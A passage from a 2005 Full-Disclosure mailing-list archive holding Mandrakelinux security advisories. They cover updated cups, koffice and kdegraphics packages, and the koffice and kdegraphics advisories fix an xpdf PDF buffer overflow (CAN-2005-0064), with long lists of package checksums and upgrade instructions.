 f5ab7e3002e41b1d54975df2bbdc9592  10.1/RPMS/libcups2-devel-1.1.21-0.rc1.7.4.101mdk.i586.rpm
 17445e2b920e8a912be47f3935e5f095  10.1/SRPMS/cups-1.1.21-0.rc1.7.4.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 12f13a1e2cf6d610de3cb4133a25e7a7  x86_64/10.1/RPMS/cups-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm
 cf2a20b744f80c1701dfc63659729c04  x86_64/10.1/RPMS/cups-common-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm
 e6ec0c5b6cc7eef042c91f697cb82e46  x86_64/10.1/RPMS/cups-serial-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm
 572e2a932e6c6154d1f2e2dcb908c679  x86_64/10.1/RPMS/lib64cups2-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm
 c24f5dc070481662f9a7005b37f61fd4  x86_64/10.1/RPMS/lib64cups2-devel-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm
 17445e2b920e8a912be47f3935e5f095  x86_64/10.1/SRPMS/cups-1.1.21-0.rc1.7.4.101mdk.src.rpm

 Corporate Server 2.1:
 162a5512b876caf7b74f5de35b91ff54  corporate/2.1/RPMS/cups-1.1.18-2.8.C21mdk.i586.rpm
 132911f013b0319957f9b10955af7f63  corporate/2.1/RPMS/cups-common-1.1.18-2.8.C21mdk.i586.rpm
 f31f529cdd22e863426e3ae4eb842bb6  corporate/2.1/RPMS/cups-serial-1.1.18-2.8.C21mdk.i586.rpm
 f433cc5ba9e84d7f079bb31d4fd34e9e  corporate/2.1/RPMS/libcups1-1.1.18-2.8.C21mdk.i586.rpm
 e1e4e4c6a3007ff868e32a1001e9765d  corporate/2.1/RPMS/libcups1-devel-1.1.18-2.8.C21mdk.i586.rpm
 c944a0c30ff89ef18d382e7a3d0a70d1  corporate/2.1/SRPMS/cups-1.1.18-2.8.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 ef0e81ff6ac37918d2f8a354a772bf88  x86_64/corporate/2.1/RPMS/cups-1.1.18-2.8.C21mdk.x86_64.rpm
 1d939abecc9d566ae118d800bae5a123  x86_64/corporate/2.1/RPMS/cups-common-1.1.18-2.8.C21mdk.x86_64.rpm
 24c1656d01b527c8e17cc03fc9700b62  x86_64/corporate/2.1/RPMS/cups-serial-1.1.18-2.8.C21mdk.x86_64.rpm
 a2fa8c5e2efd2a955447bda6a1bce11b  x86_64/corporate/2.1/RPMS/libcups1-1.1.18-2.8.C21mdk.x86_64.rpm
 98e04e33a3446ea8a8e5cd0be0aaa6b8  x86_64/corporate/2.1/RPMS/libcups1-devel-1.1.18-2.8.C21mdk.x86_64.rpm
 c944a0c30ff89ef18d382e7a3d0a70d1  x86_64/corporate/2.1/SRPMS/cups-1.1.18-2.8.C21mdk.src.rpm

 Corporate Server 3.0:
 74c49860c8ff85cce34862c6e21eb903  corporate/3.0/RPMS/cups-1.1.20-5.6.C30mdk.i586.rpm
 6b350b1e9e52e8bbfec81c36aaf065a1  corporate/3.0/RPMS/cups-common-1.1.20-5.6.C30mdk.i586.rpm
 30f4ac447f36cb119a6756ca2013c951  corporate/3.0/RPMS/cups-serial-1.1.20-5.6.C30mdk.i586.rpm
 718182b8dc9b53839bbc5b1b36293d57  corporate/3.0/RPMS/libcups2-1.1.20-5.6.C30mdk.i586.rpm
 3683688596297bdaa4178307fd8db128  corporate/3.0/RPMS/libcups2-devel-1.1.20-5.6.C30mdk.i586.rpm
 d00bea70d267fe48ea33af6c19942b21  corporate/3.0/SRPMS/cups-1.1.20-5.6.C30mdk.src.rpm

 Mandrakelinux 9.2:
 3c29059ab729243b945dea6f8bbf03ca  9.2/RPMS/cups-1.1.19-10.6.92mdk.i586.rpm
 d8082f721bf90fbdfa5024ca078c8ac1  9.2/RPMS/cups-common-1.1.19-10.6.92mdk.i586.rpm
 4465bc3ec5474678300c47248e51385c  9.2/RPMS/cups-serial-1.1.19-10.6.92mdk.i586.rpm
 4ba9bbe5ca67248bef02befff75951f4  9.2/RPMS/libcups2-1.1.19-10.6.92mdk.i586.rpm
 1abbf2cf8c5cd14dd80b6004bdeb4525  9.2/RPMS/libcups2-devel-1.1.19-10.6.92mdk.i586.rpm
 b7f7a802fb70f4e4c07f904feb3b645a  9.2/SRPMS/cups-1.1.19-10.6.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 1103866f68f4460ab504990315f7979a  amd64/9.2/RPMS/cups-1.1.19-10.6.92mdk.amd64.rpm
 ea567af43ac8d9b3393e9dfe89fc4417  amd64/9.2/RPMS/cups-common-1.1.19-10.6.92mdk.amd64.rpm
 b6233f53c363a5824f28029763b6f2b9  amd64/9.2/RPMS/cups-serial-1.1.19-10.6.92mdk.amd64.rpm
 cfe9d1a90f713e5de59dca46728284a5  amd64/9.2/RPMS/lib64cups2-1.1.19-10.6.92mdk.amd64.rpm
 133935512ad4bc0b59dfa06ea15b22c7  amd64/9.2/RPMS/lib64cups2-devel-1.1.19-10.6.92mdk.amd64.rpm
 b7f7a802fb70f4e4c07f904feb3b645a  amd64/9.2/SRPMS/cups-1.1.19-10.6.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9yBHmqjQ0CJFipgRAuH7AJ9O+bn8yGMij4ZxM/bUQgpUR6wW/ACeNNx9
1Ft0o9Ce08dIy9D0kVHIgjI=
=3qin
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:47:58 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:47:58 -0700
Subject: [Full-Disclosure] MDKSA-2005:019 - Updated koffice packages fix
	buffer overflow vulnerability
Message-ID: <E1Ctf5y-0007lz-CO@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           koffice
 Advisory ID:            MDKSA-2005:019
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 code, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in
 the /Encrypt /Length tag. Koffice uses xpdf code and is susceptible to the
 same vulnerability.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 d620ab0db67c4e25f755ee62cf1a474a  10.0/RPMS/koffice-1.3-12.2.100mdk.i586.rpm
 ade52f0ac258267ae8614502fabc8ab2  10.0/RPMS/libkoffice2-1.3-12.2.100mdk.i586.rpm
 280135355e26e3baab14f63628c97dc2  10.0/RPMS/libkoffice2-devel-1.3-12.2.100mdk.i586.rpm
 d46d3a868900d7ab94aeaa34deea1018  10.0/SRPMS/koffice-1.3-12.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 04bf5f31e92516f1c0458ba12c930a48  amd64/10.0/RPMS/koffice-1.3-12.2.100mdk.amd64.rpm
 eec5070100e0ddbc03d4e0c55dfe1be3  amd64/10.0/RPMS/lib64koffice2-1.3-12.2.100mdk.amd64.rpm
 065702b188f8ea68df6493da6cdbd660  amd64/10.0/RPMS/lib64koffice2-devel-1.3-12.2.100mdk.amd64.rpm
 d46d3a868900d7ab94aeaa34deea1018  amd64/10.0/SRPMS/koffice-1.3-12.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 c0530b7a5fa5542752b8998c31acce9e  10.1/RPMS/koffice-1.3.3-2.2.101mdk.i586.rpm
 7d18d56f064133b241d2c454e817eb38  10.1/RPMS/koffice-karbon-1.3.3-2.2.101mdk.i586.rpm
 9622c8c9f7876aa3d159532486117c5d  10.1/RPMS/koffice-kformula-1.3.3-2.2.101mdk.i586.rpm
 4389b3cd90e57052424417f7a8dd4ceb  10.1/RPMS/koffice-kivio-1.3.3-2.2.101mdk.i586.rpm
 361459b34c382e1c1382b483a92a6756  10.1/RPMS/koffice-koshell-1.3.3-2.2.101mdk.i586.rpm
 15e865d609a58ac2783e8d25fde0418e  10.1/RPMS/koffice-kpresenter-1.3.3-2.2.101mdk.i586.rpm
 65a868b881015cfd2376748526902fc8  10.1/RPMS/koffice-kspread-1.3.3-2.2.101mdk.i586.rpm
 6587cc22182a858158cd8aea2afcba64  10.1/RPMS/koffice-kugar-1.3.3-2.2.101mdk.i586.rpm
 caf4007f0343e29a69d10a057af99c83  10.1/RPMS/koffice-kword-1.3.3-2.2.101mdk.i586.rpm
 da30f2308d7158089c383ca4a99d72ea  10.1/RPMS/koffice-progs-1.3.3-2.2.101mdk.i586.rpm
 5784ad20ba835bd54cd95dc24d713253  10.1/RPMS/libkoffice2-karbon-1.3.3-2.2.101mdk.i586.rpm
 8eda23533d992bb34d12c7bac00030be  10.1/RPMS/libkoffice2-kformula-1.3.3-2.2.101mdk.i586.rpm
 a7923dede9bb79346bab697142346ec1  10.1/RPMS/libkoffice2-kivio-1.3.3-2.2.101mdk.i586.rpm
 5cc52af39aa57938d7edae0d640fc968  10.1/RPMS/libkoffice2-koshell-1.3.3-2.2.101mdk.i586.rpm
 e4bec26f95e1f55ced770cafd320e335  10.1/RPMS/libkoffice2-kpresenter-1.3.3-2.2.101mdk.i586.rpm
 a8e1b736a8a3924cc39495a32b6ad223  10.1/RPMS/libkoffice2-kspread-1.3.3-2.2.101mdk.i586.rpm
 5d1e64e28d69771aa4709791547f3802  10.1/RPMS/libkoffice2-kspread-devel-1.3.3-2.2.101mdk.i586.rpm
 81bbf226aca53b9ad14c7522f3302191  10.1/RPMS/libkoffice2-kugar-1.3.3-2.2.101mdk.i586.rpm
 e0c51ed40247b0d0715c6a67e9c0dfdc  10.1/RPMS/libkoffice2-kugar-devel-1.3.3-2.2.101mdk.i586.rpm
 1403e58e5586b3dc41d874fb7f76992f  10.1/RPMS/libkoffice2-kword-1.3.3-2.2.101mdk.i586.rpm
 77afbcf9c3603ec9cfae784e0d2ed43b  10.1/RPMS/libkoffice2-kword-devel-1.3.3-2.2.101mdk.i586.rpm
 37a4b0ca89f95d47850392303f6774a1  10.1/RPMS/libkoffice2-progs-1.3.3-2.2.101mdk.i586.rpm
 2219d9fdc81fcf660d60e15319e9943d  10.1/RPMS/libkoffice2-progs-devel-1.3.3-2.2.101mdk.i586.rpm
 618a562fb56d40e4ecfd730d2b1be49b  10.1/SRPMS/koffice-1.3.3-2.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 d9cf8ecb69c8d7ccc2f0168ee078b3d3  x86_64/10.1/RPMS/koffice-1.3.3-2.2.101mdk.x86_64.rpm
 460dd9a91e6e82323e110bf052371a52  x86_64/10.1/RPMS/koffice-karbon-1.3.3-2.2.101mdk.x86_64.rpm
 3ae887f0ac3679219721611c1f05697d  x86_64/10.1/RPMS/koffice-kformula-1.3.3-2.2.101mdk.x86_64.rpm
 49efb5347574454645adca560a81f911  x86_64/10.1/RPMS/koffice-kivio-1.3.3-2.2.101mdk.x86_64.rpm
 6f4a57a3d88a88ea7a179b4a1a113de9  x86_64/10.1/RPMS/koffice-koshell-1.3.3-2.2.101mdk.x86_64.rpm
 d5be06b78eb1a0d2606be0deaa45a4a8  x86_64/10.1/RPMS/koffice-kpresenter-1.3.3-2.2.101mdk.x86_64.rpm
 96ed4e467d93797e925f09c3ca150a0b  x86_64/10.1/RPMS/koffice-kspread-1.3.3-2.2.101mdk.x86_64.rpm
 41c1e39c0766d9ed0a823d8d5fa7499b  x86_64/10.1/RPMS/koffice-kugar-1.3.3-2.2.101mdk.x86_64.rpm
 cc48202eb30adf7625464def2461901c  x86_64/10.1/RPMS/koffice-kword-1.3.3-2.2.101mdk.x86_64.rpm
 7b672b3f77fe1d16ba22fe266695ffa9  x86_64/10.1/RPMS/koffice-progs-1.3.3-2.2.101mdk.x86_64.rpm
 3d73eb1169a9a1055c06e134bb366b9f  x86_64/10.1/RPMS/lib64koffice2-karbon-1.3.3-2.2.101mdk.x86_64.rpm
 c31083fa21030ae3270b6623ae6cb29c  x86_64/10.1/RPMS/lib64koffice2-kformula-1.3.3-2.2.101mdk.x86_64.rpm
 228b5a7e9a0f71b59b00d89f79dd627b  x86_64/10.1/RPMS/lib64koffice2-kivio-1.3.3-2.2.101mdk.x86_64.rpm
 9ecf703ab3f988fb9cd914c46387bd21  x86_64/10.1/RPMS/lib64koffice2-koshell-1.3.3-2.2.101mdk.x86_64.rpm
 456dea35aba11bdfbf3fe253939289b9  x86_64/10.1/RPMS/lib64koffice2-kpresenter-1.3.3-2.2.101mdk.x86_64.rpm
 75e1f65af93ef7fb4f5a754b0c7bec31  x86_64/10.1/RPMS/lib64koffice2-kspread-1.3.3-2.2.101mdk.x86_64.rpm
 9c44cfeb5ddf24bf0a7cb0f7cb2aab0a  x86_64/10.1/RPMS/lib64koffice2-kspread-devel-1.3.3-2.2.101mdk.x86_64.rpm
 7b18675837a38c393747a6dd4b6ccf4e  x86_64/10.1/RPMS/lib64koffice2-kugar-1.3.3-2.2.101mdk.x86_64.rpm
 f570ef6a23fa7afc2fb4379329853999  x86_64/10.1/RPMS/lib64koffice2-kugar-devel-1.3.3-2.2.101mdk.x86_64.rpm
 4a558d84ab7a2d547c35801aca5d3dbb  x86_64/10.1/RPMS/lib64koffice2-kword-1.3.3-2.2.101mdk.x86_64.rpm
 ea2261303599a4c9d465304e27201f64  x86_64/10.1/RPMS/lib64koffice2-kword-devel-1.3.3-2.2.101mdk.x86_64.rpm
 77ade17c9ac8c20c9cf55478dd12aff7  x86_64/10.1/RPMS/lib64koffice2-progs-1.3.3-2.2.101mdk.x86_64.rpm
 996b4496c415ffdc41c56e5d0dba97b5  x86_64/10.1/RPMS/lib64koffice2-progs-devel-1.3.3-2.2.101mdk.x86_64.rpm
 618a562fb56d40e4ecfd730d2b1be49b  x86_64/10.1/SRPMS/koffice-1.3.3-2.2.101mdk.src.rpm

 Corporate Server 3.0:
 b487481d69017027aa30d300768f077e  corporate/3.0/RPMS/koffice-1.3-12.2.C30mdk.i586.rpm
 8b4d331f0944c61fb8e5077bca050c2f  corporate/3.0/RPMS/libkoffice2-1.3-12.2.C30mdk.i586.rpm
 4d1dae4b305ff73a186b3eaf41ab89bb  corporate/3.0/RPMS/libkoffice2-devel-1.3-12.2.C30mdk.i586.rpm
 4ce907e44911ae3797f7746e2b73188f  corporate/3.0/SRPMS/koffice-1.3-12.2.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9yD+mqjQ0CJFipgRAqwNAJ93m5CjeU50ncwwcF1uzst71mQDogCeIN+p
4XAWLURtZZm3gDFX8G8WloY=
=HhIw
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 26 04:51:01 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 25 Jan 2005 21:51:01 -0700
Subject: [Full-Disclosure] MDKSA-2005:020 - Updated kdegraphics packages fix
	buffer overflow vulnerability
Message-ID: <E1Ctf8v-000835-Lz@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           kdegraphics
 Advisory ID:            MDKSA-2005:020
 Date:                   January 25th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A buffer overflow vulnerability was discovered in the xpdf PDF          
 code, which could allow for arbitrary code execution as the user 
 viewing a PDF file. The vulnerability exists due to insufficient bounds
 checking while processing a PDF file that provides malicious values in
 the /Encrypt /Length tag. Kdegraphics uses xpdf code and is susceptible 
 to the same vulnerability.
 
 10.1 packages also include a fix for ksvg kde bug #74457.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 9a7dcb9af3a883258f4ae6dfc515c240  10.0/RPMS/kdegraphics-3.2-15.5.100mdk.i586.rpm
 99f9a64d9091cfad4afb59fb5c5b4943  10.0/RPMS/kdegraphics-common-3.2-15.5.100mdk.i586.rpm
 7dc20d612ece55cb6766af4777047bc0  10.0/RPMS/kdegraphics-kdvi-3.2-15.5.100mdk.i586.rpm
 c54af2cff83ab872eb34d5f2b516d160  10.0/RPMS/kdegraphics-kfax-3.2-15.5.100mdk.i586.rpm
 fc7d3033e1b8cd5f89f63511e048d95d  10.0/RPMS/kdegraphics-kghostview-3.2-15.5.100mdk.i586.rpm
 b5f8551a47d1001d2c738007b409b34b  10.0/RPMS/kdegraphics-kiconedit-3.2-15.5.100mdk.i586.rpm
 c3d62b26a96dfc6424b97d954622154a  10.0/RPMS/kdegraphics-kooka-3.2-15.5.100mdk.i586.rpm
 12ac431a66fd59fc090b39aa711ebb6d  10.0/RPMS/kdegraphics-kpaint-3.2-15.5.100mdk.i586.rpm
 923d120ee4bc8b6b0b6bcf10122e55a5  10.0/RPMS/kdegraphics-kpdf-3.2-15.5.100mdk.i586.rpm
 8d8b042da57285234c91551656b384b7  10.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.100mdk.i586.rpm
 b398984700951d117b77f9a7d16988d4  10.0/RPMS/kdegraphics-kruler-3.2-15.5.100mdk.i586.rpm
 4ffc8a63fd179b333e4dce71b478f358  10.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.100mdk.i586.rpm
 f84119c08c325f47b6f0c41890e805b3  10.0/RPMS/kdegraphics-ksvg-3.2-15.5.100mdk.i586.rpm
 70b2c9895feac7292ac2ead089b3680e  10.0/RPMS/kdegraphics-kuickshow-3.2-15.5.100mdk.i586.rpm
 ae70ec34786dfb8d6ac59f87a3d275f7  10.0/RPMS/kdegraphics-kview-3.2-15.5.100mdk.i586.rpm
 a1deaf4ca51625f0c64d919429c67765  10.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.100mdk.i586.rpm
 646ceb5feb37709883b130bd48c3ee03  10.0/RPMS/libkdegraphics0-common-3.2-15.5.100mdk.i586.rpm
 e8925100efb3c0142141e070733f028f  10.0/RPMS/libkdegraphics0-common-devel-3.2-15.5.100mdk.i586.rpm
 e5431076c47352cd209b9bcf75c3e4eb  10.0/RPMS/libkdegraphics0-kooka-3.2-15.5.100mdk.i586.rpm
 af48014f2f3dde8cf37fd24242ea5a46  10.0/RPMS/libkdegraphics0-kooka-devel-3.2-15.5.100mdk.i586.rpm
 2dffb54b41c94ae87ceec3247a99943e  10.0/RPMS/libkdegraphics0-kpovmodeler-3.2-15.5.100mdk.i586.rpm
 3ee3e1a270cace82b397a99cb2a6cde9  10.0/RPMS/libkdegraphics0-kpovmodeler-devel-3.2-15.5.100mdk.i586.rpm
 d6d896a5a5adf3c061391d2d72b14fff  10.0/RPMS/libkdegraphics0-ksvg-3.2-15.5.100mdk.i586.rpm
 bacdd1bbecdce2058be8220e1cd1952c  10.0/RPMS/libkdegraphics0-ksvg-devel-3.2-15.5.100mdk.i586.rpm
 d3713212a0a60e552c2b8cdeea243f28  10.0/RPMS/libkdegraphics0-kuickshow-3.2-15.5.100mdk.i586.rpm
 e155e0f97fee455bfc7d08c7aa147d16  10.0/RPMS/libkdegraphics0-kview-3.2-15.5.100mdk.i586.rpm
 c6bc7bd0fdf292316e1676bf18ae25d2  10.0/RPMS/libkdegraphics0-kview-devel-3.2-15.5.100mdk.i586.rpm
 f00f79af88ed366a4b0f9abf90f6e068  10.0/RPMS/libkdegraphics0-mrmlsearch-3.2-15.5.100mdk.i586.rpm
 ed3a146ca54fe687b3ed307bfcdeed85  10.0/SRPMS/kdegraphics-3.2-15.5.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 cc4b491315f12ec1d7337c04e8f6f102  amd64/10.0/RPMS/kdegraphics-3.2-15.5.100mdk.amd64.rpm
 b8a311512bda484c2bc288413aa297c2  amd64/10.0/RPMS/kdegraphics-common-3.2-15.5.100mdk.amd64.rpm
 4d8bd265dc2a6bf0d4fcab1e43faa5f0  amd64/10.0/RPMS/kdegraphics-kdvi-3.2-15.5.100mdk.amd64.rpm
 5b021b91e11fca4645caa9abd6314f5f  amd64/10.0/RPMS/kdegraphics-kfax-3.2-15.5.100mdk.amd64.rpm
 7b7fb9c73b2fc9989c3077913ef029ce  amd64/10.0/RPMS/kdegraphics-kghostview-3.2-15.5.100mdk.amd64.rpm
 024446cc0b88c4b388a6af4ca943e6a7  amd64/10.0/RPMS/kdegraphics-kiconedit-3.2-15.5.100mdk.amd64.rpm
 ee14199581830c6f395f6e65b618dc62  amd64/10.0/RPMS/kdegraphics-kooka-3.2-15.5.100mdk.amd64.rpm
 140724cb660e8d7333081d29dced4f7d  amd64/10.0/RPMS/kdegraphics-kpaint-3.2-15.5.100mdk.amd64.rpm
 0e7e078461ed0a556ff9b3c727e37d7a  amd64/10.0/RPMS/kdegraphics-kpdf-3.2-15.5.100mdk.amd64.rpm
 880882849f8133f0748fcaf97bd33614  amd64/10.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.100mdk.amd64.rpm
 823cd25430b1c7d887bf85f0f14d93e1  amd64/10.0/RPMS/kdegraphics-kruler-3.2-15.5.100mdk.amd64.rpm
 e7c7fd8f50960a83c127020b084b9578  amd64/10.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.100mdk.amd64.rpm
 179d3f4f65a1eba4d8429b7400b3dbda  amd64/10.0/RPMS/kdegraphics-ksvg-3.2-15.5.100mdk.amd64.rpm
 d201b9692c9e3e67c65caf4486036f6f  amd64/10.0/RPMS/kdegraphics-kuickshow-3.2-15.5.100mdk.amd64.rpm
 8b225eebcf3782321f6819ce14201c17  amd64/10.0/RPMS/kdegraphics-kview-3.2-15.5.100mdk.amd64.rpm
 174d53919fe6bd3950dffe7363af8ebd  amd64/10.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.100mdk.amd64.rpm
 0b124a9961e10f77b0aa1719d4248df1  amd64/10.0/RPMS/lib64kdegraphics0-common-3.2-15.5.100mdk.amd64.rpm
 30a82e5787d0dceb9dca5bd9fe33f4cd  amd64/10.0/RPMS/lib64kdegraphics0-common-devel-3.2-15.5.100mdk.amd64.rpm
 dbcf9cb9d551d5336bee057eeb5248f1  amd64/10.0/RPMS/lib64kdegraphics0-kooka-3.2-15.5.100mdk.amd64.rpm
 dc34e14d6e018d6dd1ebaf557df74ca8  amd64/10.0/RPMS/lib64kdegraphics0-kooka-devel-3.2-15.5.100mdk.amd64.rpm
 e6767e0b97fd2c3f576f5720d4828232  amd64/10.0/RPMS/lib64kdegraphics0-kpovmodeler-3.2-15.5.100mdk.amd64.rpm
 9deddb7f37b20a5160d6d426c43e679e  amd64/10.0/RPMS/lib64kdegraphics0-kpovmodeler-devel-3.2-15.5.100mdk.amd64.rpm
 be9f659cf436a49b15030acf2e0a96fe  amd64/10.0/RPMS/lib64kdegraphics0-ksvg-3.2-15.5.100mdk.amd64.rpm
 074c2078f629b963f2b9537bae175b53  amd64/10.0/RPMS/lib64kdegraphics0-ksvg-devel-3.2-15.5.100mdk.amd64.rpm
 72d3907f849391ecf13e32415deac6b3  amd64/10.0/RPMS/lib64kdegraphics0-kuickshow-3.2-15.5.100mdk.amd64.rpm
 dd0a21ae1b36edfcfb204c9c474667b7  amd64/10.0/RPMS/lib64kdegraphics0-kview-3.2-15.5.100mdk.amd64.rpm
 1b130ada5ad9b87f6f4e8198067d6572  amd64/10.0/RPMS/lib64kdegraphics0-kview-devel-3.2-15.5.100mdk.amd64.rpm
 6c784ecbe23c1d39909034ebd14d3513  amd64/10.0/RPMS/lib64kdegraphics0-mrmlsearch-3.2-15.5.100mdk.amd64.rpm
 ed3a146ca54fe687b3ed307bfcdeed85  amd64/10.0/SRPMS/kdegraphics-3.2-15.5.100mdk.src.rpm

 Mandrakelinux 10.1:
 65da2307d48e0456ea81d5162f505e4f  10.1/RPMS/kdegraphics-3.2.3-17.4.101mdk.i586.rpm
 02865c06fd0cb9636f73ea410242dfd6  10.1/RPMS/kdegraphics-common-3.2.3-17.4.101mdk.i586.rpm
 9a17fc9356c8a6110a6c8e65268d86f0  10.1/RPMS/kdegraphics-kdvi-3.2.3-17.4.101mdk.i586.rpm
 e61b2460a2cd7115ff56f5fbb6f319af  10.1/RPMS/kdegraphics-kfax-3.2.3-17.4.101mdk.i586.rpm
 4ade07b3cf9cb8aae02b9d36d1464aed  10.1/RPMS/kdegraphics-kghostview-3.2.3-17.4.101mdk.i586.rpm
 e692e095b104d2238c72e3a91c15d8fd  10.1/RPMS/kdegraphics-kiconedit-3.2.3-17.4.101mdk.i586.rpm
 fa1ddea1ab81962c7a5d454cce7d5d64  10.1/RPMS/kdegraphics-kooka-3.2.3-17.4.101mdk.i586.rpm
 fa2f4facbb72992b2d06d4385d25a242  10.1/RPMS/kdegraphics-kpaint-3.2.3-17.4.101mdk.i586.rpm
 1c3857f276c202b1a2bff72b70e2ea35  10.1/RPMS/kdegraphics-kpdf-3.2.3-17.4.101mdk.i586.rpm
 e6f5a175209241828e43686b478d4d5a  10.1/RPMS/kdegraphics-kpovmodeler-3.2.3-17.4.101mdk.i586.rpm
 52407fec78b3be0440a7e327efe96a5a  10.1/RPMS/kdegraphics-kruler-3.2.3-17.4.101mdk.i586.rpm
 9310d897e44d921e0526598f3699286e  10.1/RPMS/kdegraphics-ksnapshot-3.2.3-17.4.101mdk.i586.rpm
 2480a1380d909b5c1ff671ad75a5029e  10.1/RPMS/kdegraphics-ksvg-3.2.3-17.4.101mdk.i586.rpm
 182f0766dc4e335b2b64961c6ec33d83  10.1/RPMS/kdegraphics-kuickshow-3.2.3-17.4.101mdk.i586.rpm
 1f5401feab408ff6e89b62b8c019801b  10.1/RPMS/kdegraphics-kview-3.2.3-17.4.101mdk.i586.rpm
 5e8a2dd1677695f5cf62bffa1c66bd67  10.1/RPMS/kdegraphics-mrmlsearch-3.2.3-17.4.101mdk.i586.rpm
 202646df1dec8c5161e47ab1fba80835  10.1/RPMS/libkdegraphics0-common-3.2.3-17.4.101mdk.i586.rpm
 6551868638ea06be784c5f3a3083704d  10.1/RPMS/libkdegraphics0-common-devel-3.2.3-17.4.101mdk.i586.rpm
 7e4517077652c2a75eb3abe9cd235ea6  10.1/RPMS/libkdegraphics0-kghostview-3.2.3-17.4.101mdk.i586.rpm
 e5c5e4e0a15d19d6598feeac0b709347  10.1/RPMS/libkdegraphics0-kghostview-devel-3.2.3-17.4.101mdk.i586.rpm
 5d4287f5772b3e0750512fed41ce1d24  10.1/RPMS/libkdegraphics0-kooka-3.2.3-17.4.101mdk.i586.rpm
 2006d0fd3339e776ec2907acd97c7019  10.1/RPMS/libkdegraphics0-kooka-devel-3.2.3-17.4.101mdk.i586.rpm
 5b46feba29bf7c3a4ed7745ab219cfe2  10.1/RPMS/libkdegraphics0-kpovmodeler-3.2.3-17.4.101mdk.i586.rpm
 9a9fc316112cc5c5de7a102cd382b395  10.1/RPMS/libkdegraphics0-kpovmodeler-devel-3.2.3-17.4.101mdk.i586.rpm
 ab3d909913657f882d9708e7aadd8f59  10.1/RPMS/libkdegraphics0-ksvg-3.2.3-17.4.101mdk.i586.rpm
 f48673088a976f39811e726e24bf2dd8  10.1/RPMS/libkdegraphics0-ksvg-devel-3.2.3-17.4.101mdk.i586.rpm
 e47a7a83e191d6b0e495f7c7edd29844  10.1/RPMS/libkdegraphics0-kuickshow-3.2.3-17.4.101mdk.i586.rpm
 2fe70e7e2f82b5cd24eff1eda655d183  10.1/RPMS/libkdegraphics0-kview-3.2.3-17.4.101mdk.i586.rpm
 4d3f99e500292f68f2f94cb43c959177  10.1/RPMS/libkdegraphics0-kview-devel-3.2.3-17.4.101mdk.i586.rpm
 2e99917cbd90b57e6e341986f11f5fe8  10.1/RPMS/libkdegraphics0-mrmlsearch-3.2.3-17.4.101mdk.i586.rpm
 ca802ced9824501790a28f39f6d86543  10.1/SRPMS/kdegraphics-3.2.3-17.4.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 6ec2bb413e709d4be27a948cff82ad44  x86_64/10.1/RPMS/kdegraphics-3.2.3-17.4.101mdk.x86_64.rpm
